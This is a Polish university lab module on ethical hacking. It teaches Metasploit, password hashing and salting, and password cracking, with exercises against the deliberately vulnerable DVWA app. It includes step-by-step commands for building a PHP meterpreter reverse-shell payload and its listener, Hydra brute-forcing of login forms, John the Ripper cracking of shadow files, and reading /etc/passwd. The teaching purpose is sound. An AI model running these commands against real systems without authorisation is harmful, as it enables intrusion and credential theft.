

Wprowadzenie do cyberbezpieczeństwa (WCYB)

Moduł 3-2: Przełamywanie systemów (*ethical hacking*) z wykorzystaniem narzędzia Metasploit | Kontrola dostępu i łamanie haseł

Semestr: 19Z

Plan modułu

W ramach niniejszego modułu:

- zapoznasz się z podstawowym narzędziem do przełamywania systemów - Metasploitem
- przeprowadzisz podstawowy test penetracyjny wybranej aplikacji WWW
- zapoznasz się z podstawami mechanizmów kontroli dostępu
- zapoznasz się z narzędziami do łamania haseł

1. Podstawy Metasploit

1.1 Wprowadzenie

Metasploit jest narzędziem open source służące do testów penetracyjnych i łamania zabezpieczeń. Posiada obszerną bazę gotowych exploitów do zastosowania `out-of-the-box`. Posiada interfejs dzięki któremu można przygotować własne exploity na bazie istniejących komponentów. Praktycznym zastosowaniem Metasploit w ramach ćwiczeń jest testowanie luk bezpieczeństwa w systemach.

Najważniejsze terminy:

Exploit (eksploatować kogoś lub coś) - kod wykonawczy używany do zdobycia systemu za sprawą występowania określonej podatności lub błędnej konfiguracji

Payload (ładunek) - kod wykonawczy, który jest uruchamiany po udanej exploitacji systemu

Encoders (Programy szyfrujące) - określa sposób zaciemnienia lub zaszyfrowania kodu payloadu tak, aby był niewykrywalny przez oprogramowanie antywirusowe

Auxillary (pomocniczy) - moduły pomocnicze za pomocą których można wykonywać skanowanie, fuzzing, podsłuchiwanie i inne.

Metasploit uruchamiany jest poleceniem:

```
msfconsole
```

Należy przy tym upewnić się czy uruchomiona jest usługa Metasploita (`service metasploit start`). Poprawne uruchomienie powinno wyglądać mniej więcej tak jak na obrazku poniżej:

```
root@kali: ~
PlikEdycjaWidokWyszukiwanieTerminalPomoc

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

    =[ metasploit v4.11.5-2016010401                                ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post                    ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops                        ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

msf >
msf >
```

Procedura używania Metasploita wygląda następująco:

1. Ustawić rodzaj exploita
2. Ustawić rodzaj payloadu
3. Ustawić cel ataku
4. Uruchomić exploit
5. Przejąć/Nie przejąć kontroli nad celem

Exploitów szukamy za pomocą polecenia `search <nazwa exploitu|część nazwy>`

```
root@kali: ~
PlikEdycjaWidokWyszukiwanieTerminalPomoc

msf >
msf >
msf > search smb
[!] Module database cache not built yet, using slow search

Matching Modules
=====
Name                                     Disclosure Da
te Rank      Description
----
auxiliary/admin/mssql/mssql_enum_domain_accounts
normal      Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumerati
on
auxiliary/admin/mssql/mssql_enum_domain_accounts_sql
normal      Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enum
eration
auxiliary/admin/mssql/mssql_ntlm_stealer
normal      Microsoft SQL Server NTLM Stealer
auxiliary/admin/mssql/mssql_ntlm_stealer_sql
normal      Microsoft SQL Server SQLi NTLM Stealer
auxiliary/admin/oracle/ora_ntlm_stealer
normal      Oracle SMB Relay Code Execution                                     2009-04-07
```

Aby skorzystać z konkretnego exploitu używamy polecenia `use <pełna nazwa exploitu>`

```
root@kali: ~
PlikEdycjaWidokWyszukiwanieTerminalPomoc
exploit/windows/smb/psexec_psh 1999-01-01
manual Microsoft Windows Authenticated Powershell Command Execution
exploit/windows/smb/smb_relay 2001-03-31
excellent MS08-068 Microsoft Windows SMB Relay Code Execution
exploit/windows/smb/timbuktu_plughntcommand_bof 2009-06-25
great Timbuktu PlughNTCommand Named Pipe Buffer Overflow
post/linux/busybox/smb_share_root
normal BusyBox SMB Sharing
post/linux/gather/mount_cifs_creds
normal Linux Gather Saved mount.cifs/mount.smbfs Credentials
post/windows/escalate/droplnk
normal Windows Escalate SMB Icon LNK Dropper
post/windows/gather/credentials/gpp
normal Windows Gather Group Policy Preference Saved Passwords
post/windows/gather/enum_shares
normal Windows Gather SMB Share Enumeration via Registry
post/windows/gather/netlm_downgrade
normal Windows NetLM Downgrade Attack
post/windows/gather/word_unc_injector
normal Windows Gather Microsoft Office Word UNC Path Injector

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) >
```

Następnie musimy zobaczyć dostępne opcje w ramach exploitu, które będą wymagały odpowiedniej konfiguracji. Możemy to zrobić za pomocą polecenia `show options`.

```
root@kali: ~
PlikEdycjaWidokWyszukiwanieTerminalPomoc

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show options

Module options (exploit/windows/smb/smb_relay):

  Name      Current Setting  Required  Description
  ----      -
  SHARE      ADMIN$           yes       The share to connect to
  SMBHOST    no              no        The target SMB server (leave empty for or
iginating system)
  SRVHOST    0.0.0.0          yes       The local host to listen on. This must be
an address on the local machine or 0.0.0.0
  SRVPORT    445             yes       The local port to listen on.

Exploit target:

  Id  Name
  --  ---
  0    Automatic

msf exploit(smb_relay) >
```


Bardzo częstymi opcjami jest ustawienie parametrów: `RHOST`, `RPORT`, `LHOST`, `LPORT`. Pola z literą `R` (`remote`) na początku odnoszą się do atakowanego celu (`HOST` oznacza adres IPv4 atakowanego systemu, `PORT` oznacza numer portu do ustawienia kanału komunikacji). Pola z literą `L` (`local`) do lokalnego PC z którego przeprowadzany jest atak. Pole muszą być uzupełnione jeśli w kolumnie `Required` mają wartość `YES`. Ustawienie wartości tych pól odbywa się za pomocą polecenia `set` np.

```
set RHOST <adres ip ofiary>
```

Następnie należy ustawić `payload` do wykonania po udanej eksploatacji za pomocą polecenia `set PAYLOAD <pełna nazwa payloadu>`. Aby ułatwić wybór odpowiedniego payloadu po wpisaniu polecenia `set PAYLOAD` można nacisnąć klawisz `[TAB]`, co powinno spowodować wyświetlenie listy dostępnych payloadów.

Po przygotowaniu zadania eksploatacji systemu w poprzednich krokach, wykonujemy w końcu polecenie `exploit`. Poprawne wykonanie `exploit` powinno dać dostęp do celu poprzez powłokę zwrotną (ang. *reverse shell*) `meterpreter`. Podstawowe polecenia `meterpreter` to:

- `screenshot` : wykonanie screena ekranu przejętego PC
- `sysinfo` : informacje o przejętym systemie
- `shell` : uruchomienie powłoki przejętego systemu
- `sessions`: wyświetla informacje o aktywnych sesjach (polecenie `sessions -i <nr sesji>` pozwala na interakcję z sesją o danym id)

1.2 Zastosowanie Metasploit - przykład PHP backdoor payload

Jedną z fundamentalnych form dostarczania współczesnego oprogramowania użytkownikom są aplikacje WWW. Wiąże się to z szeregiem udogodnień w stosunku dostarczania klasycznego, natywnego oprogramowania desktopowego, ale implikuje to określone problemy w sferze cyberbezpieczeństwa. Jedną z nich jest możliwość narażenia aplikacji na umieszczenie wśród jej źródeł plików złośliwych wykorzystujących jej podatności. Pentester może użyć formularza uploadu plików, aby przesyłać różne typy plików, które pozwolą mu uzyskać informacje o serwerze internetowym lub nawet powłoce. Przy braku odpowiedniej walidacji tego co wrzuca użytkownik tego typu atak jest bardzo prawdopodobny. W tej części sprawdzimy, jak z wykorzystaniem narzędzia `metasploit` można wygenerować złośliwy plik, który może zostać następnie uploadowany na atakowany serwer w celu przejęcia nad nim kontroli.

W pierwszym kroku generujemy odpowiedni plik, który zostanie wgrany na atakowany serwer. Jego podstawowym ładunkiem jest `reverse shell`, aby powłoka atakowanego celu została udostępniona zdalnie. Możemy tego dokonać za pomocą polecenia:

```
msfpayload php/meterpreter/reverse_tcp LHOST=<adres ip> LPORT=<nr portu> R >
hacked.php
```

W tym przypadku wygenerowano `reverse shell` dla serwera hostującego stronę w PHP. Ustawiamy adres IP i port naszego hosta oraz następnie zapisujemy plik `hacked.php`. Dodatkowo należy się upewnić czy wygenerowany plik nie zawiera dziwnych symboli (np. znak `#` na początku pliku przed `<?php`). Jeśli takie istnieją należy je usunąć.

Następnie przygotowujemy się do odebrania połączenia ze zdalną powłoką, gdy zostanie wykonany złośliwy plik po stronie serwera. W tym celu wykonujemy polecenie `msfconsole`

. Rozważany shell w tym przypadku to `reverse_shell`, więc musimy wybrać odpowiedni exploit związany z tym shellem:

```
use exploit/multi/handler
```

```
set PAYLOAD php/meterpreter/reverse_tcp
```

```
set LHOST <adres ip ktory został podany we wcześniej wygenerowanym pliku>
```

```
set LPORT <nr portu który został podany we wcześniej wygenerowanym pliku>
```

```
exploit
```

Nasłuchiwanie zostało uruchomione. Należy teraz przeprowadzić upload wcześniej wygenerowanego pliku `hacked.php` na serwer. Po poprawnym uploadzie pliku musi zostać on otworzony po stronie serwera. Kiedy to nastąpi powinniśmy na naszym nasłuchującym PC odebrać `reverse_shell`. Dzięki temu kontrolujemy już serwer i możemy korzystać z poleceń `meterpretera`.

2. Kontrola dostępu i łamanie haseł

Użytkownicy cyberprzestrzeni są już przyzwyczajeni do mechanizmów kontroli dostępu (*access control*), a nawet ich wymagamy już na etapie projektowania nowego systemu cyfrowego. Kontrola dostępu służy do tego, aby nieupoważnione osoby trzecie uzyskały dostęp do naszych zasobów.

Kontrola dostępu do systemu przebiega w trzech fazach:

1. Faza identyfikacji - podmiot przedstawia swoje unikalne cechy, które go identyfikują (np. login)
2. Uwierzytelnienie (*authentication*) - weryfikacja, czy podana tożsamość nie jest dostarczana przez fałszywy podmiot. Standardowym mechanizmem jest mechanizm haseł. Do wielu systemów dostęp odbywa się za pomocą podania jednego czynnika uwierzytelniającego (*single factor authentication*). Trendem wzrostowym jest stosowanie uwierzytelnienia dwóch czynników lub więcej. (*two factor authentication, multi factor authentication*).
3. Autoryzacja (*authorization*) - określenie czy podmiot ma upoważnienie dostępu do zasobu lub do wykonania akcji (np. podstawowe określenie uprawnień do edycji dokumentu - `read-only/write/delete/execute`)

W języku polskim nie występuje słowo autentykacja i jest to błędny przekład z języka angielskiego słowa authentication. Poprawnym słowem jest uwierzytelnienie i należy tej poprawności przestrzegać.

W ramach procesu uwierzytelniania użytkownik wykorzystuje się czynniki należące do jednej z trzech klas

- *coś co wiem* - najważniejszym przykładem są tutaj hasła
- *coś co mam* - np. fizyczny token kryptograficzny, certyfikaty cyfrowe
- *coś czym jestem* - czyli przede wszystkim biometria, np. odcisk palca czy model twarzy.

Pojedyncze uwierzytelnianie polega na weryfikacji jednej informacji, należącej do którejkolwiek z powyższych klas. Wieloczynnikowe uwierzytelnianie weryfikuje po kolei dane z różnych klas - np. hasło statyczne + uwierzytelnienie telefoniczne. W ramach tego laboratorium przyjrzymy się czynnikiowi z klasy czynników *coś co wiem* - bezpieczeństwu haseł.

2.1 Bezpieczeństwo haseł

2.1.1 Przechowywanie haseł

2.1.1.1 Hasła jawne i szyfrowane

Hasło w formie jawnej (ang. *plaintext*) przechowywane jest w bazie danych lub w pliku jako ciąg znaków bezpośrednio podany przez Użytkownika. Jest to skrajnie niebezpieczne rozwiązanie - podczas udanego ataku atakujący uzyskuje dostęp do haseł wszystkich użytkowników (w tym użytkowników o różnych uprawnieniach np. uprawnieniach administratora). Otwiera to nieskończone możliwości przed atakującym do realizacji swoich celów.

Szyfrowanie haseł, a właściwie przestrzeni w której są przechowywane jest sposobem ochrony przed takimi sytuacjami. Dzięki temu użytkownicy będą mogli w niezmiennionej formie używać swoich danych uwierzytelniających, a baza danych będzie przechowywać je w nieczytelnej dla atakującego postaci. Niestety szyfrowanie haseł nie jest bezpiecznym rozwiązaniem. Można przypuszczać, że atakujący, posiadając dostęp do bazy danych, może również wykraść z systemu klucze szyfrujące, a zatem uzyskać dostęp do haseł.

2.1.1.2 Hashowanie haseł

Hashowanie haseł polega na przetworzeniu za pomocą ustalonego algorytmu jawnego hasła do postaci określanej jako skrót (*hash*). Celem funkcji hashującej jest wygenerowanie pewnego skrótu o stałej i określonej długości z dowolnie długiej wiadomości. Bezpieczne algorytmy hashujące (funkcje skrótu kryptograficznego) to takie, które cechuje:

- jednokierunkowość - na podstawie wyjścia (hash) nie możemy w żaden sposób określić wejścia
- wysoka odporność na kolizje - bardzo trudna generacja tego samego wyjścia (hash) przy użyciu dwóch różnych wejść
- duża zmienność wyjścia (lawinowość) - duża różnica między dwoma hashami wygenerowanych przez dwie podobne wartości na wejściu

Przed wysłaniem poświadczeń (loginu i hasła), najpierw po stronie aplikacji hasło jest hashowane i dopiero w takiej formie jest przesyłane do serwera. Po stronie serwera następuje porównanie otrzymanego hashu z tym, który znajduje się w bazie danych użytkowników (są tam dane użytkowników podane podczas rejestracji, w tym hash hasła). Jeśli dwa hashe są identyczne to następuje uwierzytelnienie, w przeciwnym przypadku użytkownik proszony jest o ponowne podanie poświadczeń.

2.1.1.3 Solenie haseł

Bezpieczna funkcja hashująca na wejściu przyjmuje wiadomość o dowolnym rozmiarze. Atakujący może stworzyć prosty słownik hasło-hash i własnoręcznie go uzupełnić o popularne wyrazy i ich hashe. W momencie kradzieży haseł w postaci hashy wystarczy, że porówna je z hashami ze swojego słownika. Znalezione przypasowania będą oryginalnymi hasłami, które były wprowadzane przez użytkowników. Sam proces tworzenia takiego

słownika jest prosty, jednak wymaga bardzo dużych nakładów pamięciowych i obliczeniowych. Jednak gdy oryginał hasła jest wyrazem krótkim lub nieskomplikowanym, wtedy szybko znajdzie się w słowniku agresora, zapewniając mu udany atak.

Rozwiązaniem tego problemu jest tzw. *solenie* haseł. Sól (czyli ciąg znaków określonej długości) jest dodawana do każdego hasła wpisywanego przez użytkownika i dopiero całość jest przekazywana do funkcji skrótu. Oznacza to stworzenie całkiem nowego hashu, różnego od wartości hashu utworzonego tylko z hasła użytkownika. Jest to dodatkowe utrudnienie, gdyż atakujący musiałby w pierwszej kolejności poznać wykorzystywaną wartość soli i jej położenia w hasle. Następnie musiałby wygenerować nowy słownik z potencjalnymi hasłami.

2.1.2 Ataki na hasła

Ataki na hasła dzieli się na dwie grupy – ataki offline oraz online. Ataki online to techniki polegające na wysyłaniu żądań do usług systemu, które działają w czasie rzeczywistym (np. formularz uwierzytelnienia na stronie WWW). Żądania te zawierają tysiące danych uwierzytelniających. Z kolei ataki offline przeprowadzane są już po przełamaniu pewnych zabezpieczeń, gdy możliwe jest wyluskane bazy danych lub plików z hashami haseł użytkowników. Ataki offline na hasła są atakami kryptograficznymi, w których atakujący stara się odnaleźć oryginał hasła. Zadanie to jest utrudnione właśnie przez podstawową cechę hasha – jednokierunkowość (innymi słowy – *nieodwracalność*). Możemy wyróżnić następujące grupy ataków kryptograficznych (offline) na hasła:

- ataki siłowe (*Brute Force*)
- ataki słownikowe (*dictionary*)
- ataki hybrydowe

2.1.2.1 Ataki typu Brute Force

Ataki siłowe to najpopularniejsza forma ataku, która polega na generowaniu wszystkich możliwych kombinacji znaków w pewnym ustalonym zakresie. Z generowanych ciągów obliczany jest hash, który jest porównywany z haszem wykradzonego hasła. Jeżeli dwa hasze się zgadzają, wtedy albo udaje się odgadnąć oryginał hasła, albo znaleźć kolizję w funkcji hashującej. Atak Brute Force jest atakiem wyczerpującym. Przy odpowiednio długim czasie (lub dużych zasobach) możemy odzyskać oryginał hasła dowolnej długości. Ważne jest, żeby tak skonfigurować mechanizmy bezpieczeństwa haseł, by atak tego rodzaju trwał bardzo długo (np. kilka tysięcy lat), przez co zniechęci atakujących.

2.1.2.2 Dictionary Attack

Liczba ciągów generowanych w ataku Brute Force jest ogromna, ponieważ sprawdzane są wszystkie możliwe kombinacje w danym zakresie. W związku z tym, w rozsądnym czasie nie jesteśmy w stanie przetestować wszystkich haseł, w szczególności długich haseł (np. dłuższych od 10 znaków).

Metoda słownikowa polega na generowaniu hashy tylko z najczęściej występujących ciągów haseł, takich jak:

- QWERTY, QWERTZ
- ciągi cyfr
- imiona
- daty urodzin oraz wiele innych. Z pomocą kilkugigabajtowych słowników takich ciągów jesteśmy w stanie złamać o wiele więcej haseł niż w przypadku metody siłowej.

2.1.2.3 Ataki hybrydowe

Ataki hybrydowe wykorzystają niezawodność metody Brute Force oraz skuteczności metody słownikowej. Reguły ataku modyfikują ciągi w słowniku, dodając przykładowo do każdego hasła-kandydata cyfry 00-99. Generacja reguł jest sztuką wymagającą skomplikowanej analizy charakteru haseł wymyślanych przez użytkowników.

Ataki hybrydowe są atakami najskuteczniejszymi ze wszystkich tutaj opisanych.

2.2 Narzędzia do łamania haseł

Hydra to narzędzie do łamania haseł online, którego można używać do słownikowego atakowania różnych usług, wypróbowując listy nazw użytkowników i haseł, aż do znalezienia udanego połączenia poświadczeń. Jest wielowątkowy i może być bardzo szybki, próbując kombinacji nazwy użytkownika / hasła z szybkością rzędu tysięcy na minutę. Hydra można być używana do atakowania wielu różnych usług i aplikacji, w tym HTTP, IMAP, SMB, HTTP, VNC, MS-SQL MySQL, SMTP, SSH i wielu innych.

W przypadku ataków hasłem online należy rozważyć więcej problemów, takich jak; przepustowość sieci, blokady konta, opóźnianie, zmiana haseł, wykrywanie w logach i IDS. Ataki online są bardziej dostosowane do stosunkowo niewielkich i ukierunkowanych ataków słownikowych niż do wyczerpującej ataków Brute Force.

2.2.1 Hydra

Poniżej znajduje się przykładowy skrypt logowania, który zostanie wykorzystany do omówienia działania Hydry atakującej formularze wykorzystujące protokół HTTP. Plik `login.php` wygląda następująco:

```
<?php
if (isset($_POST['login']) && isset($_POST['haslo'])) {
    if ($_POST['login'] == 'admin' && $_POST['haslo'] == '1234') {
        echo("Poprawne logowanie");
    } else {
        echo("Zle haslo!");
    }
} else {
    ?>
    <form name="input" action="login.php" method="post">
        Username:
        <input type="text" name="Login">
        Password:
        <input type="password" name="Haslo">
        <input type="submit">
    </form>
    <?php
    }
    ?>
```

Spróbujmy za pomocą narzędzia THC-hydra złamać hasło do użytkownika `admin`. Ogólna składnia narzędzia jest następująco:

```
hydra -h
Hydra v8.6-dev (c) 2017 by van Hauser/THC - Please do not use in military or secret
```


service organizations, or **for** illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-ISOuvVd46] [service://server[:PORT][OPT]]

Dostępne są też dodatkowe opcje:

Options:

- R restore a previous aborted/crashed session
- I ignore an existing restore file (don't wait 10 seconds)
- S perform an SSL connect
- s PORT if the service is on a different default port, define it here
- l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
- p PASS or -P FILE try password PASS, or load several passwords from FILE
- x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
- y disable use of symbols in bruteforce, see above
- e nsr try "n" null password, "s" login as pass and/or "r" reversed login
- u loop around users, not passwords (effective! implied with -x)
- C FILE colon separated "login:pass" format, instead of -L/-P options
- M FILE list of servers to attack, one entry per line, ':' to specify port
- o FILE write found login/password pairs to FILE instead of stdout
- b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
- f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
- t TASKS run TASKS number of connects in parallel per target (default: 16)
- T TASKS run TASKS connects in parallel overall (for -M, default: 64)
- w / -W TIME waittime for responses (32) / between connects per thread (0)
- 4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
- v / -V / -d verbose mode / show login+pass for each attempt / debug mode
- O use old SSL v2 and v3
- q do not print messages about connection errors
- U service module usage details

server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)

service the service to crack (see below for supported protocols)

OPT some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at <http://www.thc.org/thc-hydra>

Don't use in military or secret service organizations, or for illegal purposes.

These services were not compiled in: postgres sapr3 firebird afp ncp ssh sshkey svn oracle mysql5 and regex support.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.

E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)

% export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries)

% export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080

```
% export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries)
```

Examples:

```
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
```

Wracając do prostego formularza do uwierzytelnienia przykładowa składnia może wyglądać następująco:

```
hydra 192.168.0.11 -l admin -P słownik.txt http-post-form
"/hydra/login.php:Login=^USER^&Haslo=^PASS^:S=Zalogowano poprawnie"
```

lub

```
hydra 192.168.0.11 -l admin -P słownik.txt http-post-form
"/hydra/login.php:Login=^USER^&Haslo=^PASS^:F=Hasło nieprawidłowe"
```

Oba polecenia różnią się tylko warunkiem końcowym. W pierwszym wykorzystany jest warunek `S=` czyli *success*. Wskazuje on na wyrażenie występujące na stronie WWW po poprawnym zalogowaniu się. W drugim przypadku przyjęto strategię odwrotną. Wykorzystując `F=` czyli *failed* wskazujemy informacje, którą zwraca strona WWW w przypadku niepowodzenia logowania.

Wybór techniki należy zazwyczaj do atakującego. Badając formularz logowania musi stwierdzić, czy lepiej jest weryfikować proces logowania za pomocą informacji o niepowodzeniu logowania czy o poprawnym logowaniu. Aby wykorzystać słownik z loginami zamiast parametru `-l` należy użyć `-L`.

Elementy składni poleceń oznaczają:

- adres `192.168.0.11` - jest to adres IP serwera na którym jest hostowana strona www. Możemy zamiast tego adresu użyć nazwy domenowej np: `google.com`.
- `-l admin` - wskazuje nazwę użytkownika, którego hasło chcemy poznać. Można też przekazać cały słownik z loginami za pomocą parametru `-L`.
- `-P słownik.txt` - ścieżka do słownika, w którym hasła są uporządkowane jeden pod drugim.
- `http-post-form` - nagłówek HTTP POST który wspiera Hydra. Innymi przydatnymi nagłówkami mogą być `HTTP-FORM-GET`, `HTTP-HEAD` lub `HTTPS-FORM-POST`.
- `"/hydra/login.php:Login=^USER^&Haslo=^PASS^:F=Hasło nieprawidłowe"` - specyficzna składnia polecenia THC-Hydra.

Czasami przeprowadzając atak słownikowy za pomocą Hydry jesteśmy już uwierzytelnieni i chcemy atakować inny formularz w ramach danej domeny. W takim przypadku do składni polecenia powyżej dodaje się opcję `:H=Cookie:NAME=VALUE`. Niedodanie tej opcji spowoduje, że atakowany będzie pierwszy formularz uwierzytelnienia (na dodatek nieprawidłowo), a nie ten właściwy.

2.2.2 John the Ripper

Łamanie offline jest skuteczne gdy mamy zapisane skróty w systemie, są one statyczne i możesz wypróbować ataki słownikowe, hybrydowe i Brute Force. Próba ataku można

przeprowadzać wiele w krótkim czasie. Sukces ataku zależy wyłącznie od siły hasła, mocy obliczeniowej procesora i czasu.

Jednym z programów do testowania siły haseł jest John the Ripper. Jego podstawowym celem jest wykrycie słabych haseł będących najsłabszym ogniwem większości dzisiejszych serwerów. Narzędzie to zapobiega złamaniu słabego hasła przez atakującego, nakazując danemu użytkownikowi, który posługuje się złamanym hasłem jego zmianę z uwzględnieniem cech charakterystycznych mocnego hasła. Działa on na różnych platformach systemowych (Linux, Unix, DOS, Windows) i obsługuje różne architektury sprzętowe. John obsługuje oraz automatycznie wykrywa szyfrowanie algorytmami: DES (Data Encryption Standard) z jego odmianami, MD5 (Message-Digest 5) oraz Blowfish – stosowane do szyfrowania haseł w systemach uniksowych (np. FreeBSD, Solaris, OpenBSD) i linuksowych (np. Slackware, RedHat, PLD) oraz LAN Manager stosowany w systemie Windows NT oraz 2000.

Podstawowy sposób uruchomienia narzędzia odbywa się przykładowo poleceniem:

```
root@kali:~# john 127.0.0.1.pwdump
Warning: detected hash type "nt", but the string is also recognized as "nt2"
Use the "--format=nt2" option to force loading these as that type instead
Loaded 7 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
```

John rozpoznaje poprawnie typ skrótu i postanawia go złamać. Jednak atak Brute Force potrwa długo. Alternatywnie możemy zamiast tego przekazać parametr `-wordlist` do Johna.

```
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump
```

Jeśli jakieś hasła pozostaną dalej niezłamane do polecenia podstawowego możemy dodać opcję `--rules`, wprowadzającą dodatkowe reguły łamania.

```
root@kali:~# john --rules --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump
```

Aby przełamać skróty Linuksa Johnem, trzeba najpierw użyć narzędzia `unshadow`, który łączy pliki `passwd` i `shadow` z zainfekowanego systemu.

```
root@kali:~# unshadow passwd-file.txt shadow-file.txt
victim:$6$H4ndrFOW$FqzEd1MMbtEpB2azf5/xwx08arqM.jL0pk/k7ug9Bksbguw81CQcof2IU4u.QqwzxH
6lXYJMptVS1/BExaKlc1:1000:1000:::/home/victim:/bin/bash
root@kali:~# unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
```

Niezaciemniony plik może być przekazany do Johna w celu złamania skrótu hasła.

```
root@kali:~# john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [32/32])
s3cr3t (victim)
guesses: 1 time: 0:00:05:18 DONE (Wed Jun 19 15:32:16 2013) c/s: 219
trying: s3cr3t
```

Ćwiczenia

Proponuje się zrealizowanie niniejszych ćwiczeń na aplikacji `WWW DVWA` dostarczonej w `metasploitable` (port 80). Jeśli nie jest to wyraźnie wskazane flaga `Security level` powinna być ustawiona na `low`.

DVWA Security

Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low medium high

PHPIDS

PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently **disabled**. [enable PHPIDS](#)

[\[Simulate attack\]](#) · [\[View IDS log\]](#)

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Scenariusze do zrealizowania w ramach ćwiczeń to:

- Brute Force
- Command Execution
- Upload

Dane logowania Login: `admin` Hasło: `password`

1. W scenariuszu Brute Force za pomocą Hydry znaleźć hasło dla użytkowników: `admin` i `pablo`. Zmienić flagę `Security level` na wartość `medium` i ponownie użyć hydry. Jaką jest różnica pomiędzy tymi poziomami?
2. W scenariuszu Command Execution zapisać zawartość `/etc/passwd` do pliku `tmp.txt`. Zmienić flagę `Security level` na wartość `medium` i ponownie ćwiczenie. Jaką jest różnica pomiędzy tymi poziomami?
3. W scenariuszu Command Execution za pomocą Metasploita uzyskać shell serwera aplikacji `WWW` (wykorzystać `exploit/multi/script/web_delivery`).
4. Za pomocą narzędzia John the Ripper dokonać próby złamania haseł z pliku `hasla.txt` (może to wymagać odpowiedniego przygotowania zawartości pliku `hasla.txt`)

5. W scenariuszu Upload za pomocą Metasploita uzyskać shell serwera aplikacji WWW (upload odpowiedniego pliku po stronie serwera WWW).